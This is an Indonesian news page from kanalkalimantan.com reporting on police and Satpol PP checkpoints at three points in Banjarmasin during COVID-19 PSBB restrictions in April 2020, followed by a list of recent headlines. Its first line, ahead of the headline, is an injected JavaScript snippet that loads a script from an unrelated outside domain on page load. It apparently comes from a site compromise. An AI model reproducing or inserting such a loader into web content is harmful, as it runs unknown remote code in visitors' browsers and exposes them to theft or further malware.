(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kapolresta: Penjagaan Ketat Selama PSBB di Banjarmasin Diterapkan di Pusat dan Batas Kota


KANALKALIMANTAN.COM, BANJARMASIN – Kota Banjarmasin akan menerapkan pembatasan sosial berskala besar (PSBB) setelah mendapatkan persetujuan dari Menkes RI dr Terawan Agus Putranto. Sebagai konsekuensinya, akan ada penjagaan terutama di perbatasan kota Banjarmasin dengan daerah tetangga.

Dari segi pengamanan, Kapolresta Banjarmasin Kombes Pol Rachmat Hendrawan mengatakan, selama PSBB akan didirikan pos-pos pengamanan di tiga titik.

“Pertama, pos perbatasan di Palnam, kemudian pos di tengah kota yang berlokasi samping Duta Mall, dan pos yang berbatasan dengan Kabupaten Batola,” tutur Kombes Rachmat dalam konferensi pers Gugus Tugas Pencegahan Penanganan Pengendalian (P3) Covid-19 Kota Banjarmasin di Balai Kota Banjarmasin, Senin (20/4/2020) siang.

Nantinya, pengamanan gabungan Polri bersama Satpol PP Kota Banjarmasin memberikan imbauan kepada pengguna jalan baik roda dua maupun roda empat. Sebagai contoh, jika pengguna jalan melintasi pos penjagaan di Palnam, maka akan diminta untuk berhenti sebentar di Kantor Samsat Banjarmasin di jalan A Yani Kilometer 6, guna diberikan penyuluhan tentang penetapan PSBB dalam kurun waktu 3-4 hari ke depan.

“Jadi, aktivitas (manusia) dari Pelaihari, Banjarbaru maupun Martapura dibatasi dulu dan kita imbau sampai mereka paham,” jelas Kombes Rachmat yang juga Wakil Ketua I Tim Gugus Tugas P3 Covid-19 Kota Banjarmasin.

Baca juga: PSBB di Banjarmasin Segera Diterapkan, Perlu 4 Hari Simulasi Penerapan

Hal serupa juga diterapkan untuk pengguna jalan dari Kota Banjarmasin menuju arah luar kota, yang akan diarahkan ke samping Duta Mall. Nantinya, sekitar 30-40 pengguna jalan terutama roda dua, diberikan imbauan oleh aparat keamanan. “Habis itu boleh jalan,” lugasnya.

Lalu, bagaimana dengan warga Kota Banjarmasin yang bekerja di luar kota? Kombes Rachmat mengatakan, jajarannya akan memberikan imbauan terlebih dahulu. “Kalau tidak perlu kegiatan mereka, tanda kutipnya kantor. Kalau masyarakat biasa dibatasi tapi kalau kantor mungkin normatif saja,” tukas Kombes Rachmat. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : cell

 


Al Ghifari

Recent Posts

Tugu Adipura Banjarbaru Layak Dipasang APILL, Tunggu Rekomendasi Resmi BPTD dan BPJN

KANALKALIMANTAN.COM, BANJARBARU - Ruas kawasan Tugu Adipura di Jalan Ahmad Yani Kota Banjarbaru, Kalimantan Selatan… Read More

13 jam ago

Kumpulkan Caleg Terpilih dan Pengurus DPD, PAN Kalsel ‘Panaskan Mesin’ Hadapi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Pasca pelaksanaan Pemilu 2024, Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN)… Read More

15 jam ago

Silaturahmi Camat Lurah RT RW, Paman Birin Cerita Pernah Jadi Lurah dan Sekcam

KANALKALIMANTAN.COM, BANJARMASIN - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor bercerita perjalanan karirnya sebelum menjadi… Read More

18 jam ago

APILL Terpasang di Samsat Banjarbaru, Dua Jalan Jadi Perempatan

DPUPR Banjarbaru akan Bongkar Median Sepanjang 35 Meter Read More

18 jam ago

Chaos Banjarmasin di Atas Kanvas, Tragedi Kelam Jumat Kelabu 23 Mei 1997

“Setiap goresan kuas di lukisan ini, saya terbayang, merasakan terbawa kedalam suasana, di saat kerusuhan… Read More

22 jam ago

Perpisahan Siswa SMAN 1 Kapuas, Erlin Hardi : Belajar, Belajar, dan Belajar!

KANALKALIMANTAN.COM, KUALA KAPUAS - Pendidikan merupakan tolak ukur kemajuan suatu bangsa. Dengan pendidikan yang baik… Read More

23 jam ago

This website uses cookies.